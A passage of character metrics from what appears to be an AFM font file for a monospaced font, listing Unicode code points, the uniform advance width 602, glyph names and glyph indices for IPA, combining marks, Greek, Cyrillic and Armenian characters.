U 613 ; WX 602 ; N uni0265 ; G 523
U 614 ; WX 602 ; N uni0266 ; G 524
U 615 ; WX 602 ; N uni0267 ; G 525
U 616 ; WX 602 ; N uni0268 ; G 526
U 617 ; WX 602 ; N uni0269 ; G 527
U 618 ; WX 602 ; N uni026A ; G 528
U 619 ; WX 602 ; N uni026B ; G 529
U 620 ; WX 602 ; N uni026C ; G 530
U 621 ; WX 602 ; N uni026D ; G 531
U 622 ; WX 602 ; N uni026E ; G 532
U 623 ; WX 602 ; N uni026F ; G 533
U 624 ; WX 602 ; N uni0270 ; G 534
U 625 ; WX 602 ; N uni0271 ; G 535
U 626 ; WX 602 ; N uni0272 ; G 536
U 627 ; WX 602 ; N uni0273 ; G 537
U 628 ; WX 602 ; N uni0274 ; G 538
U 629 ; WX 602 ; N uni0275 ; G 539
U 630 ; WX 602 ; N uni0276 ; G 540
U 631 ; WX 602 ; N uni0277 ; G 541
U 632 ; WX 602 ; N uni0278 ; G 542
U 633 ; WX 602 ; N uni0279 ; G 543
U 634 ; WX 602 ; N uni027A ; G 544
U 635 ; WX 602 ; N uni027B ; G 545
U 636 ; WX 602 ; N uni027C ; G 546
U 637 ; WX 602 ; N uni027D ; G 547
U 638 ; WX 602 ; N uni027E ; G 548
U 639 ; WX 602 ; N uni027F ; G 549
U 640 ; WX 602 ; N uni0280 ; G 550
U 641 ; WX 602 ; N uni0281 ; G 551
U 642 ; WX 602 ; N uni0282 ; G 552
U 643 ; WX 602 ; N uni0283 ; G 553
U 644 ; WX 602 ; N uni0284 ; G 554
U 645 ; WX 602 ; N uni0285 ; G 555
U 646 ; WX 602 ; N uni0286 ; G 556
U 647 ; WX 602 ; N uni0287 ; G 557
U 648 ; WX 602 ; N uni0288 ; G 558
U 649 ; WX 602 ; N uni0289 ; G 559
U 650 ; WX 602 ; N uni028A ; G 560
U 651 ; WX 602 ; N uni028B ; G 561
U 652 ; WX 602 ; N uni028C ; G 562
U 653 ; WX 602 ; N uni028D ; G 563
U 654 ; WX 602 ; N uni028E ; G 564
U 655 ; WX 602 ; N uni028F ; G 565
U 656 ; WX 602 ; N uni0290 ; G 566
U 657 ; WX 602 ; N uni0291 ; G 567
U 658 ; WX 602 ; N uni0292 ; G 568
U 659 ; WX 602 ; N uni0293 ; G 569
U 660 ; WX 602 ; N uni0294 ; G 570
U 661 ; WX 602 ; N uni0295 ; G 571
U 662 ; WX 602 ; N uni0296 ; G 572
U 663 ; WX 602 ; N uni0297 ; G 573
U 664 ; WX 602 ; N uni0298 ; G 574
U 665 ; WX 602 ; N uni0299 ; G 575
U 666 ; WX 602 ; N uni029A ; G 576
U 667 ; WX 602 ; N uni029B ; G 577
U 668 ; WX 602 ; N uni029C ; G 578
U 669 ; WX 602 ; N uni029D ; G 579
U 670 ; WX 602 ; N uni029E ; G 580
U 671 ; WX 602 ; N uni029F ; G 581
U 672 ; WX 602 ; N uni02A0 ; G 582
U 673 ; WX 602 ; N uni02A1 ; G 583
U 674 ; WX 602 ; N uni02A2 ; G 584
U 675 ; WX 602 ; N uni02A3 ; G 585
U 676 ; WX 602 ; N uni02A4 ; G 586
U 677 ; WX 602 ; N uni02A5 ; G 587
U 678 ; WX 602 ; N uni02A6 ; G 588
U 679 ; WX 602 ; N uni02A7 ; G 589
U 680 ; WX 602 ; N uni02A8 ; G 590
U 681 ; WX 602 ; N uni02A9 ; G 591
U 682 ; WX 602 ; N uni02AA ; G 592
U 683 ; WX 602 ; N uni02AB ; G 593
U 684 ; WX 602 ; N uni02AC ; G 594
U 685 ; WX 602 ; N uni02AD ; G 595
U 686 ; WX 602 ; N uni02AE ; G 596
U 687 ; WX 602 ; N uni02AF ; G 597
U 688 ; WX 602 ; N uni02B0 ; G 598
U 689 ; WX 602 ; N uni02B1 ; G 599
U 690 ; WX 602 ; N uni02B2 ; G 600
U 691 ; WX 602 ; N uni02B3 ; G 601
U 692 ; WX 602 ; N uni02B4 ; G 602
U 693 ; WX 602 ; N uni02B5 ; G 603
U 694 ; WX 602 ; N uni02B6 ; G 604
U 695 ; WX 602 ; N uni02B7 ; G 605
U 696 ; WX 602 ; N uni02B8 ; G 606
U 697 ; WX 602 ; N uni02B9 ; G 607
U 699 ; WX 602 ; N uni02BB ; G 608
U 700 ; WX 602 ; N uni02BC ; G 609
U 701 ; WX 602 ; N uni02BD ; G 610
U 702 ; WX 602 ; N uni02BE ; G 611
U 703 ; WX 602 ; N uni02BF ; G 612
U 704 ; WX 602 ; N uni02C0 ; G 613
U 705 ; WX 602 ; N uni02C1 ; G 614
U 710 ; WX 602 ; N circumflex ; G 615
U 711 ; WX 602 ; N caron ; G 616
U 712 ; WX 602 ; N uni02C8 ; G 617
U 713 ; WX 602 ; N uni02C9 ; G 618
U 716 ; WX 602 ; N uni02CC ; G 619
U 717 ; WX 602 ; N uni02CD ; G 620
U 718 ; WX 602 ; N uni02CE ; G 621
U 719 ; WX 602 ; N uni02CF ; G 622
U 720 ; WX 602 ; N uni02D0 ; G 623
U 721 ; WX 602 ; N uni02D1 ; G 624
U 722 ; WX 602 ; N uni02D2 ; G 625
U 723 ; WX 602 ; N uni02D3 ; G 626
U 726 ; WX 602 ; N uni02D6 ; G 627
U 727 ; WX 602 ; N uni02D7 ; G 628
U 728 ; WX 602 ; N breve ; G 629
U 729 ; WX 602 ; N dotaccent ; G 630
U 730 ; WX 602 ; N ring ; G 631
U 731 ; WX 602 ; N ogonek ; G 632
U 732 ; WX 602 ; N tilde ; G 633
U 733 ; WX 602 ; N hungarumlaut ; G 634
U 734 ; WX 602 ; N uni02DE ; G 635
U 736 ; WX 602 ; N uni02E0 ; G 636
U 737 ; WX 602 ; N uni02E1 ; G 637
U 738 ; WX 602 ; N uni02E2 ; G 638
U 739 ; WX 602 ; N uni02E3 ; G 639
U 740 ; WX 602 ; N uni02E4 ; G 640
U 741 ; WX 602 ; N uni02E5 ; G 641
U 742 ; WX 602 ; N uni02E6 ; G 642
U 743 ; WX 602 ; N uni02E7 ; G 643
U 744 ; WX 602 ; N uni02E8 ; G 644
U 745 ; WX 602 ; N uni02E9 ; G 645
U 750 ; WX 602 ; N uni02EE ; G 646
U 755 ; WX 602 ; N uni02F3 ; G 647
U 768 ; WX 602 ; N gravecomb ; G 648
U 769 ; WX 602 ; N acutecomb ; G 649
U 770 ; WX 602 ; N uni0302 ; G 650
U 771 ; WX 602 ; N tildecomb ; G 651
U 772 ; WX 602 ; N uni0304 ; G 652
U 773 ; WX 602 ; N uni0305 ; G 653
U 774 ; WX 602 ; N uni0306 ; G 654
U 775 ; WX 602 ; N uni0307 ; G 655
U 776 ; WX 602 ; N uni0308 ; G 656
U 777 ; WX 602 ; N hookabovecomb ; G 657
U 778 ; WX 602 ; N uni030A ; G 658
U 779 ; WX 602 ; N uni030B ; G 659
U 780 ; WX 602 ; N uni030C ; G 660
U 781 ; WX 602 ; N uni030D ; G 661
U 782 ; WX 602 ; N uni030E ; G 662
U 783 ; WX 602 ; N uni030F ; G 663
U 784 ; WX 602 ; N uni0310 ; G 664
U 785 ; WX 602 ; N uni0311 ; G 665
U 786 ; WX 602 ; N uni0312 ; G 666
U 787 ; WX 602 ; N uni0313 ; G 667
U 788 ; WX 602 ; N uni0314 ; G 668
U 789 ; WX 602 ; N uni0315 ; G 669
U 790 ; WX 602 ; N uni0316 ; G 670
U 791 ; WX 602 ; N uni0317 ; G 671
U 792 ; WX 602 ; N uni0318 ; G 672
U 793 ; WX 602 ; N uni0319 ; G 673
U 794 ; WX 602 ; N uni031A ; G 674
U 795 ; WX 602 ; N uni031B ; G 675
U 796 ; WX 602 ; N uni031C ; G 676
U 797 ; WX 602 ; N uni031D ; G 677
U 798 ; WX 602 ; N uni031E ; G 678
U 799 ; WX 602 ; N uni031F ; G 679
U 800 ; WX 602 ; N uni0320 ; G 680
U 801 ; WX 602 ; N uni0321 ; G 681
U 802 ; WX 602 ; N uni0322 ; G 682
U 803 ; WX 602 ; N dotbelowcomb ; G 683
U 804 ; WX 602 ; N uni0324 ; G 684
U 805 ; WX 602 ; N uni0325 ; G 685
U 806 ; WX 602 ; N uni0326 ; G 686
U 807 ; WX 602 ; N uni0327 ; G 687
U 808 ; WX 602 ; N uni0328 ; G 688
U 809 ; WX 602 ; N uni0329 ; G 689
U 810 ; WX 602 ; N uni032A ; G 690
U 811 ; WX 602 ; N uni032B ; G 691
U 812 ; WX 602 ; N uni032C ; G 692
U 813 ; WX 602 ; N uni032D ; G 693
U 814 ; WX 602 ; N uni032E ; G 694
U 815 ; WX 602 ; N uni032F ; G 695
U 816 ; WX 602 ; N uni0330 ; G 696
U 817 ; WX 602 ; N uni0331 ; G 697
U 818 ; WX 602 ; N uni0332 ; G 698
U 819 ; WX 602 ; N uni0333 ; G 699
U 820 ; WX 602 ; N uni0334 ; G 700
U 821 ; WX 602 ; N uni0335 ; G 701
U 822 ; WX 602 ; N uni0336 ; G 702
U 823 ; WX 602 ; N uni0337 ; G 703
U 824 ; WX 602 ; N uni0338 ; G 704
U 825 ; WX 602 ; N uni0339 ; G 705
U 826 ; WX 602 ; N uni033A ; G 706
U 827 ; WX 602 ; N uni033B ; G 707
U 828 ; WX 602 ; N uni033C ; G 708
U 829 ; WX 602 ; N uni033D ; G 709
U 830 ; WX 602 ; N uni033E ; G 710
U 831 ; WX 602 ; N uni033F ; G 711
U 835 ; WX 602 ; N uni0343 ; G 712
U 856 ; WX 602 ; N uni0358 ; G 713
U 865 ; WX 602 ; N uni0361 ; G 714
U 884 ; WX 602 ; N uni0374 ; G 715
U 885 ; WX 602 ; N uni0375 ; G 716
U 886 ; WX 602 ; N uni0376 ; G 717
U 887 ; WX 602 ; N uni0377 ; G 718
U 890 ; WX 602 ; N uni037A ; G 719
U 891 ; WX 602 ; N uni037B ; G 720
U 892 ; WX 602 ; N uni037C ; G 721
U 893 ; WX 602 ; N uni037D ; G 722
U 894 ; WX 602 ; N uni037E ; G 723
U 895 ; WX 602 ; N uni037F ; G 724
U 900 ; WX 602 ; N tonos ; G 725
U 901 ; WX 602 ; N dieresistonos ; G 726
U 902 ; WX 602 ; N Alphatonos ; G 727
U 903 ; WX 602 ; N anoteleia ; G 728
U 904 ; WX 602 ; N Epsilontonos ; G 729
U 905 ; WX 602 ; N Etatonos ; G 730
U 906 ; WX 602 ; N Iotatonos ; G 731
U 908 ; WX 602 ; N Omicrontonos ; G 732
U 910 ; WX 602 ; N Upsilontonos ; G 733
U 911 ; WX 602 ; N Omegatonos ; G 734
U 912 ; WX 602 ; N iotadieresistonos ; G 735
U 913 ; WX 602 ; N Alpha ; G 736
U 914 ; WX 602 ; N Beta ; G 737
U 915 ; WX 602 ; N Gamma ; G 738
U 916 ; WX 602 ; N uni0394 ; G 739
U 917 ; WX 602 ; N Epsilon ; G 740
U 918 ; WX 602 ; N Zeta ; G 741
U 919 ; WX 602 ; N Eta ; G 742
U 920 ; WX 602 ; N Theta ; G 743
U 921 ; WX 602 ; N Iota ; G 744
U 922 ; WX 602 ; N Kappa ; G 745
U 923 ; WX 602 ; N Lambda ; G 746
U 924 ; WX 602 ; N Mu ; G 747
U 925 ; WX 602 ; N Nu ; G 748
U 926 ; WX 602 ; N Xi ; G 749
U 927 ; WX 602 ; N Omicron ; G 750
U 928 ; WX 602 ; N Pi ; G 751
U 929 ; WX 602 ; N Rho ; G 752
U 931 ; WX 602 ; N Sigma ; G 753
U 932 ; WX 602 ; N Tau ; G 754
U 933 ; WX 602 ; N Upsilon ; G 755
U 934 ; WX 602 ; N Phi ; G 756
U 935 ; WX 602 ; N Chi ; G 757
U 936 ; WX 602 ; N Psi ; G 758
U 937 ; WX 602 ; N Omega ; G 759
U 938 ; WX 602 ; N Iotadieresis ; G 760
U 939 ; WX 602 ; N Upsilondieresis ; G 761
U 940 ; WX 602 ; N alphatonos ; G 762
U 941 ; WX 602 ; N epsilontonos ; G 763
U 942 ; WX 602 ; N etatonos ; G 764
U 943 ; WX 602 ; N iotatonos ; G 765
U 944 ; WX 602 ; N upsilondieresistonos ; G 766
U 945 ; WX 602 ; N alpha ; G 767
U 946 ; WX 602 ; N beta ; G 768
U 947 ; WX 602 ; N gamma ; G 769
U 948 ; WX 602 ; N delta ; G 770
U 949 ; WX 602 ; N epsilon ; G 771
U 950 ; WX 602 ; N zeta ; G 772
U 951 ; WX 602 ; N eta ; G 773
U 952 ; WX 602 ; N theta ; G 774
U 953 ; WX 602 ; N iota ; G 775
U 954 ; WX 602 ; N kappa ; G 776
U 955 ; WX 602 ; N lambda ; G 777
U 956 ; WX 602 ; N uni03BC ; G 778
U 957 ; WX 602 ; N nu ; G 779
U 958 ; WX 602 ; N xi ; G 780
U 959 ; WX 602 ; N omicron ; G 781
U 960 ; WX 602 ; N pi ; G 782
U 961 ; WX 602 ; N rho ; G 783
U 962 ; WX 602 ; N sigma1 ; G 784
U 963 ; WX 602 ; N sigma ; G 785
U 964 ; WX 602 ; N tau ; G 786
U 965 ; WX 602 ; N upsilon ; G 787
U 966 ; WX 602 ; N phi ; G 788
U 967 ; WX 602 ; N chi ; G 789
U 968 ; WX 602 ; N psi ; G 790
U 969 ; WX 602 ; N omega ; G 791
U 970 ; WX 602 ; N iotadieresis ; G 792
U 971 ; WX 602 ; N upsilondieresis ; G 793
U 972 ; WX 602 ; N omicrontonos ; G 794
U 973 ; WX 602 ; N upsilontonos ; G 795
U 974 ; WX 602 ; N omegatonos ; G 796
U 976 ; WX 602 ; N uni03D0 ; G 797
U 977 ; WX 602 ; N theta1 ; G 798
U 978 ; WX 602 ; N Upsilon1 ; G 799
U 979 ; WX 602 ; N uni03D3 ; G 800
U 980 ; WX 602 ; N uni03D4 ; G 801
U 981 ; WX 602 ; N phi1 ; G 802
U 982 ; WX 602 ; N omega1 ; G 803
U 983 ; WX 602 ; N uni03D7 ; G 804
U 984 ; WX 602 ; N uni03D8 ; G 805
U 985 ; WX 602 ; N uni03D9 ; G 806
U 986 ; WX 602 ; N uni03DA ; G 807
U 987 ; WX 602 ; N uni03DB ; G 808
U 988 ; WX 602 ; N uni03DC ; G 809
U 989 ; WX 602 ; N uni03DD ; G 810
U 990 ; WX 602 ; N uni03DE ; G 811
U 991 ; WX 602 ; N uni03DF ; G 812
U 992 ; WX 602 ; N uni03E0 ; G 813
U 993 ; WX 602 ; N uni03E1 ; G 814
U 1008 ; WX 602 ; N uni03F0 ; G 815
U 1009 ; WX 602 ; N uni03F1 ; G 816
U 1010 ; WX 602 ; N uni03F2 ; G 817
U 1011 ; WX 602 ; N uni03F3 ; G 818
U 1012 ; WX 602 ; N uni03F4 ; G 819
U 1013 ; WX 602 ; N uni03F5 ; G 820
U 1014 ; WX 602 ; N uni03F6 ; G 821
U 1015 ; WX 602 ; N uni03F7 ; G 822
U 1016 ; WX 602 ; N uni03F8 ; G 823
U 1017 ; WX 602 ; N uni03F9 ; G 824
U 1018 ; WX 602 ; N uni03FA ; G 825
U 1019 ; WX 602 ; N uni03FB ; G 826
U 1020 ; WX 602 ; N uni03FC ; G 827
U 1021 ; WX 602 ; N uni03FD ; G 828
U 1022 ; WX 602 ; N uni03FE ; G 829
U 1023 ; WX 602 ; N uni03FF ; G 830
U 1024 ; WX 602 ; N uni0400 ; G 831
U 1025 ; WX 602 ; N uni0401 ; G 832
U 1026 ; WX 602 ; N uni0402 ; G 833
U 1027 ; WX 602 ; N uni0403 ; G 834
U 1028 ; WX 602 ; N uni0404 ; G 835
U 1029 ; WX 602 ; N uni0405 ; G 836
U 1030 ; WX 602 ; N uni0406 ; G 837
U 1031 ; WX 602 ; N uni0407 ; G 838
U 1032 ; WX 602 ; N uni0408 ; G 839
U 1033 ; WX 602 ; N uni0409 ; G 840
U 1034 ; WX 602 ; N uni040A ; G 841
U 1035 ; WX 602 ; N uni040B ; G 842
U 1036 ; WX 602 ; N uni040C ; G 843
U 1037 ; WX 602 ; N uni040D ; G 844
U 1038 ; WX 602 ; N uni040E ; G 845
U 1039 ; WX 602 ; N uni040F ; G 846
U 1040 ; WX 602 ; N uni0410 ; G 847
U 1041 ; WX 602 ; N uni0411 ; G 848
U 1042 ; WX 602 ; N uni0412 ; G 849
U 1043 ; WX 602 ; N uni0413 ; G 850
U 1044 ; WX 602 ; N uni0414 ; G 851
U 1045 ; WX 602 ; N uni0415 ; G 852
U 1046 ; WX 602 ; N uni0416 ; G 853
U 1047 ; WX 602 ; N uni0417 ; G 854
U 1048 ; WX 602 ; N uni0418 ; G 855
U 1049 ; WX 602 ; N uni0419 ; G 856
U 1050 ; WX 602 ; N uni041A ; G 857
U 1051 ; WX 602 ; N uni041B ; G 858
U 1052 ; WX 602 ; N uni041C ; G 859
U 1053 ; WX 602 ; N uni041D ; G 860
U 1054 ; WX 602 ; N uni041E ; G 861
U 1055 ; WX 602 ; N uni041F ; G 862
U 1056 ; WX 602 ; N uni0420 ; G 863
U 1057 ; WX 602 ; N uni0421 ; G 864
U 1058 ; WX 602 ; N uni0422 ; G 865
U 1059 ; WX 602 ; N uni0423 ; G 866
U 1060 ; WX 602 ; N uni0424 ; G 867
U 1061 ; WX 602 ; N uni0425 ; G 868
U 1062 ; WX 602 ; N uni0426 ; G 869
U 1063 ; WX 602 ; N uni0427 ; G 870
U 1064 ; WX 602 ; N uni0428 ; G 871
U 1065 ; WX 602 ; N uni0429 ; G 872
U 1066 ; WX 602 ; N uni042A ; G 873
U 1067 ; WX 602 ; N uni042B ; G 874
U 1068 ; WX 602 ; N uni042C ; G 875
U 1069 ; WX 602 ; N uni042D ; G 876
U 1070 ; WX 602 ; N uni042E ; G 877
U 1071 ; WX 602 ; N uni042F ; G 878
U 1072 ; WX 602 ; N uni0430 ; G 879
U 1073 ; WX 602 ; N uni0431 ; G 880
U 1074 ; WX 602 ; N uni0432 ; G 881
U 1075 ; WX 602 ; N uni0433 ; G 882
U 1076 ; WX 602 ; N uni0434 ; G 883
U 1077 ; WX 602 ; N uni0435 ; G 884
U 1078 ; WX 602 ; N uni0436 ; G 885
U 1079 ; WX 602 ; N uni0437 ; G 886
U 1080 ; WX 602 ; N uni0438 ; G 887
U 1081 ; WX 602 ; N uni0439 ; G 888
U 1082 ; WX 602 ; N uni043A ; G 889
U 1083 ; WX 602 ; N uni043B ; G 890
U 1084 ; WX 602 ; N uni043C ; G 891
U 1085 ; WX 602 ; N uni043D ; G 892
U 1086 ; WX 602 ; N uni043E ; G 893
U 1087 ; WX 602 ; N uni043F ; G 894
U 1088 ; WX 602 ; N uni0440 ; G 895
U 1089 ; WX 602 ; N uni0441 ; G 896
U 1090 ; WX 602 ; N uni0442 ; G 897
U 1091 ; WX 602 ; N uni0443 ; G 898
U 1092 ; WX 602 ; N uni0444 ; G 899
U 1093 ; WX 602 ; N uni0445 ; G 900
U 1094 ; WX 602 ; N uni0446 ; G 901
U 1095 ; WX 602 ; N uni0447 ; G 902
U 1096 ; WX 602 ; N uni0448 ; G 903
U 1097 ; WX 602 ; N uni0449 ; G 904
U 1098 ; WX 602 ; N uni044A ; G 905
U 1099 ; WX 602 ; N uni044B ; G 906
U 1100 ; WX 602 ; N uni044C ; G 907
U 1101 ; WX 602 ; N uni044D ; G 908
U 1102 ; WX 602 ; N uni044E ; G 909
U 1103 ; WX 602 ; N uni044F ; G 910
U 1104 ; WX 602 ; N uni0450 ; G 911
U 1105 ; WX 602 ; N uni0451 ; G 912
U 1106 ; WX 602 ; N uni0452 ; G 913
U 1107 ; WX 602 ; N uni0453 ; G 914
U 1108 ; WX 602 ; N uni0454 ; G 915
U 1109 ; WX 602 ; N uni0455 ; G 916
U 1110 ; WX 602 ; N uni0456 ; G 917
U 1111 ; WX 602 ; N uni0457 ; G 918
U 1112 ; WX 602 ; N uni0458 ; G 919
U 1113 ; WX 602 ; N uni0459 ; G 920
U 1114 ; WX 602 ; N uni045A ; G 921
U 1115 ; WX 602 ; N uni045B ; G 922
U 1116 ; WX 602 ; N uni045C ; G 923
U 1117 ; WX 602 ; N uni045D ; G 924
U 1118 ; WX 602 ; N uni045E ; G 925
U 1119 ; WX 602 ; N uni045F ; G 926
U 1122 ; WX 602 ; N uni0462 ; G 927
U 1123 ; WX 602 ; N uni0463 ; G 928
U 1138 ; WX 602 ; N uni0472 ; G 929
U 1139 ; WX 602 ; N uni0473 ; G 930
U 1168 ; WX 602 ; N uni0490 ; G 931
U 1169 ; WX 602 ; N uni0491 ; G 932
U 1170 ; WX 602 ; N uni0492 ; G 933
U 1171 ; WX 602 ; N uni0493 ; G 934
U 1172 ; WX 602 ; N uni0494 ; G 935
U 1173 ; WX 602 ; N uni0495 ; G 936
U 1174 ; WX 602 ; N uni0496 ; G 937
U 1175 ; WX 602 ; N uni0497 ; G 938
U 1176 ; WX 602 ; N uni0498 ; G 939
U 1177 ; WX 602 ; N uni0499 ; G 940
U 1178 ; WX 602 ; N uni049A ; G 941
U 1179 ; WX 602 ; N uni049B ; G 942
U 1186 ; WX 602 ; N uni04A2 ; G 943
U 1187 ; WX 602 ; N uni04A3 ; G 944
U 1188 ; WX 602 ; N uni04A4 ; G 945
U 1189 ; WX 602 ; N uni04A5 ; G 946
U 1194 ; WX 602 ; N uni04AA ; G 947
U 1195 ; WX 602 ; N uni04AB ; G 948
U 1196 ; WX 602 ; N uni04AC ; G 949
U 1197 ; WX 602 ; N uni04AD ; G 950
U 1198 ; WX 602 ; N uni04AE ; G 951
U 1199 ; WX 602 ; N uni04AF ; G 952
U 1200 ; WX 602 ; N uni04B0 ; G 953
U 1201 ; WX 602 ; N uni04B1 ; G 954
U 1202 ; WX 602 ; N uni04B2 ; G 955
U 1203 ; WX 602 ; N uni04B3 ; G 956
U 1210 ; WX 602 ; N uni04BA ; G 957
U 1211 ; WX 602 ; N uni04BB ; G 958
U 1216 ; WX 602 ; N uni04C0 ; G 959
U 1217 ; WX 602 ; N uni04C1 ; G 960
U 1218 ; WX 602 ; N uni04C2 ; G 961
U 1219 ; WX 602 ; N uni04C3 ; G 962
U 1220 ; WX 602 ; N uni04C4 ; G 963
U 1223 ; WX 602 ; N uni04C7 ; G 964
U 1224 ; WX 602 ; N uni04C8 ; G 965
U 1227 ; WX 602 ; N uni04CB ; G 966
U 1228 ; WX 602 ; N uni04CC ; G 967
U 1231 ; WX 602 ; N uni04CF ; G 968
U 1232 ; WX 602 ; N uni04D0 ; G 969
U 1233 ; WX 602 ; N uni04D1 ; G 970
U 1234 ; WX 602 ; N uni04D2 ; G 971
U 1235 ; WX 602 ; N uni04D3 ; G 972
U 1236 ; WX 602 ; N uni04D4 ; G 973
U 1237 ; WX 602 ; N uni04D5 ; G 974
U 1238 ; WX 602 ; N uni04D6 ; G 975
U 1239 ; WX 602 ; N uni04D7 ; G 976
U 1240 ; WX 602 ; N uni04D8 ; G 977
U 1241 ; WX 602 ; N uni04D9 ; G 978
U 1242 ; WX 602 ; N uni04DA ; G 979
U 1243 ; WX 602 ; N uni04DB ; G 980
U 1244 ; WX 602 ; N uni04DC ; G 981
U 1245 ; WX 602 ; N uni04DD ; G 982
U 1246 ; WX 602 ; N uni04DE ; G 983
U 1247 ; WX 602 ; N uni04DF ; G 984
U 1248 ; WX 602 ; N uni04E0 ; G 985
U 1249 ; WX 602 ; N uni04E1 ; G 986
U 1250 ; WX 602 ; N uni04E2 ; G 987
U 1251 ; WX 602 ; N uni04E3 ; G 988
U 1252 ; WX 602 ; N uni04E4 ; G 989
U 1253 ; WX 602 ; N uni04E5 ; G 990
U 1254 ; WX 602 ; N uni04E6 ; G 991
U 1255 ; WX 602 ; N uni04E7 ; G 992
U 1256 ; WX 602 ; N uni04E8 ; G 993
U 1257 ; WX 602 ; N uni04E9 ; G 994
U 1258 ; WX 602 ; N uni04EA ; G 995
U 1259 ; WX 602 ; N uni04EB ; G 996
U 1260 ; WX 602 ; N uni04EC ; G 997
U 1261 ; WX 602 ; N uni04ED ; G 998
U 1262 ; WX 602 ; N uni04EE ; G 999
U 1263 ; WX 602 ; N uni04EF ; G 1000
U 1264 ; WX 602 ; N uni04F0 ; G 1001
U 1265 ; WX 602 ; N uni04F1 ; G 1002
U 1266 ; WX 602 ; N uni04F2 ; G 1003
U 1267 ; WX 602 ; N uni04F3 ; G 1004
U 1268 ; WX 602 ; N uni04F4 ; G 1005
U 1269 ; WX 602 ; N uni04F5 ; G 1006
U 1270 ; WX 602 ; N uni04F6 ; G 1007
U 1271 ; WX 602 ; N uni04F7 ; G 1008
U 1272 ; WX 602 ; N uni04F8 ; G 1009
U 1273 ; WX 602 ; N uni04F9 ; G 1010
U 1296 ; WX 602 ; N uni0510 ; G 1011
U 1297 ; WX 602 ; N uni0511 ; G 1012
U 1306 ; WX 602 ; N uni051A ; G 1013
U 1307 ; WX 602 ; N uni051B ; G 1014
U 1308 ; WX 602 ; N uni051C ; G 1015
U 1309 ; WX 602 ; N uni051D ; G 1016
U 1329 ; WX 602 ; N uni0531 ; G 1017
U 1330 ; WX 602 ; N uni0532 ; G 1018
U 1331 ; WX 602 ; N uni0533 ; G 1019
U 1332 ; WX 602 ; N uni0534 ; G 1020
U 1333 ; WX 602 ; N uni0535 ; G 1021
U 1334 ; WX 602 ; N uni0536 ; G 1022
U 1335 ; WX 602 ; N uni0537 ; G 1023
U 1336 ; WX 602 ; N uni0538 ; G 1024
U 1337 ; WX 602 ; N uni0539 ; G 1025
U 1338 ; WX 602 ; N uni053A ; G 1026
U 1339 ; WX 602 ; N uni053B ; G 1027
U 1340 ; WX 602 ; N uni053C ; G 1028
U 1341 ; WX 602 ; N uni053D ; G 1029
U 1342 ; WX 602 ; N uni053E ; G 1030
U 1343 ; WX 602 ; N uni053F ; G 1031
U 1344 ; WX 602 ; N uni0540 ; G 1032
U 1345 ; WX 602 ; N uni0541 ; G 1033
U 1346 ; WX 602 ; N uni0542 ; G 1034
U 1347 ; WX 602 ; N uni0543 ; G 1035
U 1348 ; WX 602 ; N uni0544 ; G 1036
U 1349 ; WX 602 ; N uni0545 ; G 1037
U 1350 ; WX 602 ; N uni0546 ; G 1038
U 1351 ; WX 602 ; N uni0547 ; G 1039
U 1352 ; WX 602 ; N uni0548 ; G 1040
U 1353 ; WX 602 ; N uni0549 ; G 1041
U 1354 ; WX 602 ; N uni054A ; G 1042
U 1355 ; WX 602 ; N uni054B ; G 1043
U 1356 ; WX 602 ; N uni054C ; G 1044
U 1357 ; WX 602 ; N uni054D ; G 1045
U 1358 ; WX 602 ; N uni054E ; G 1046
U 1359 ; WX 602 ; N uni054F ; G 1047
U 1360 ; WX 602 ; N uni0550 ; G 1048
U 1361 ; WX 602 ; N uni0551 ; G 1049
U 1362 ; WX 602 ; N uni0552 ; G 1050
U 1363 ; WX 602 ; N uni0553 ; G 1051
U 1364 ; WX 602 ; N uni0554 ; G 1052
U 1365 ; WX 602 ; N uni0555 ; G 1053
U 1366 ; WX 602 ; N uni0556 ; G 1054
U 1369 ; WX 602 ; N uni0559 ; G 1055
U 1370 ; WX 602 ; N uni055A ; G 1056
U 1371 ; WX 602 ; N uni055B ; G 1057
U 1372 ; WX 602 ; N uni055C ; G 1058
U 1373 ; WX 602 ; N uni055D ; G 1059
U 1374 ; WX 602 ; N uni055E ; G 1060
U 1375 ; WX 602 ; N uni055F ; G 1061
U 1377 ; WX 602 ; N uni0561 ; G 1062
U 1378 ; WX 602 ; N uni0562 ; G 1063
U 1379 ; WX 602 ; N uni0563 ; G 1064
U 1380 ; WX 602 ; N uni0564 ; G 1065
U 1381 ; WX 602 ; N uni0565 ; G 1066
U 1382 ; WX 602 ; N uni0566 ; G 1067
U 1383 ; WX 602 ; N uni0567 ; G 1068
U 1384 ; WX 602 ; N uni0568 ; G 1069
U 1385 ; WX 602 ; N uni0569 ; G 1070
U 1386 ; WX 602 ; N uni056A ; G 1071
U 1387 ; WX 602 ; N uni056B ; G 1072
U 1388 ; WX 602 ; N uni056C ; G 1073
U 1389 ; WX 602 ; N uni056D ; G 1074
U 1390 ; WX 602 ; N uni056E ; G 1075
U 1391 ; WX 602 ; N uni056F ; G 1076
U 1392 ; WX 602 ; N uni0570 ; G 1077
U 1393 ; WX 602 ; N uni0571 ; G 1078
U 1394 ; WX 602 ; N uni0572 ; G 1079
U 1395 ; WX 602 ; N uni0573 ; G 1080
U 1396 ; WX 602 ; N uni0574 ; G 1081
U 1397 ; WX 602 ; N uni0575 ; G 1082
U 1398 ; WX 602 ; N uni0576 ; G 1083
U 1399 ; WX 602 ; N uni0577 ; G 1084
U 1400 ; WX 602 ; N uni0578 ; G 1085
U 1401 ; WX 602 ; N uni0579 ; G 1086
U 1402 ; WX 602 ; N uni057A ; G 1087
U 1403 ; WX 602 ; N uni057B ; G 1088
U 1404 ; WX 602 ; N uni057C ; G 1089
U 1405 ; WX 602 ; N uni057D ; G 1090
U 1406 ; WX 602 ; N uni057E ; G 1091
U 1407 ; WX 602 ; N uni057F ; G 1092
U 1408 ; WX 602 ; N uni0580 ; G 1093
U 1409 ; WX 602 ; N uni0581 ; G 1094
U 1410 ; WX 602 ; N uni0582 ; G 1095
U 1411 ; WX 602 ; N uni0583 ; G 1096
U 1412 ; WX 602 ; N uni0584 ; G 1097
U 1413 ; WX 602 ; N uni0585 ; G 1098
U 1414 ; WX 602 ; N uni0586 ; G 1099
U 1415 ; WX 602 ; N uni0587 ; G 1100
U 1417 ; WX 602 ; N uni0589 ; G 1101
U 1418 ; WX 602 ; N uni058A ; G 1102
U 1542 ; WX 602 ; N uni0606 ; G 1103
U 1543 ; WX 602 ; N uni0607 ; G 1104
U 1545 ; WX 602 ; N uni0609 ; G 1105
U 1546 ; WX 602 ; N uni060A ; G 1106
U 1548 ; WX 602 ; N uni060C ; G 1107
U 1557 ; WX 602 ; N uni0615 ; G 1108
U 1563 ; WX 602 ; N uni061B ; G 1109
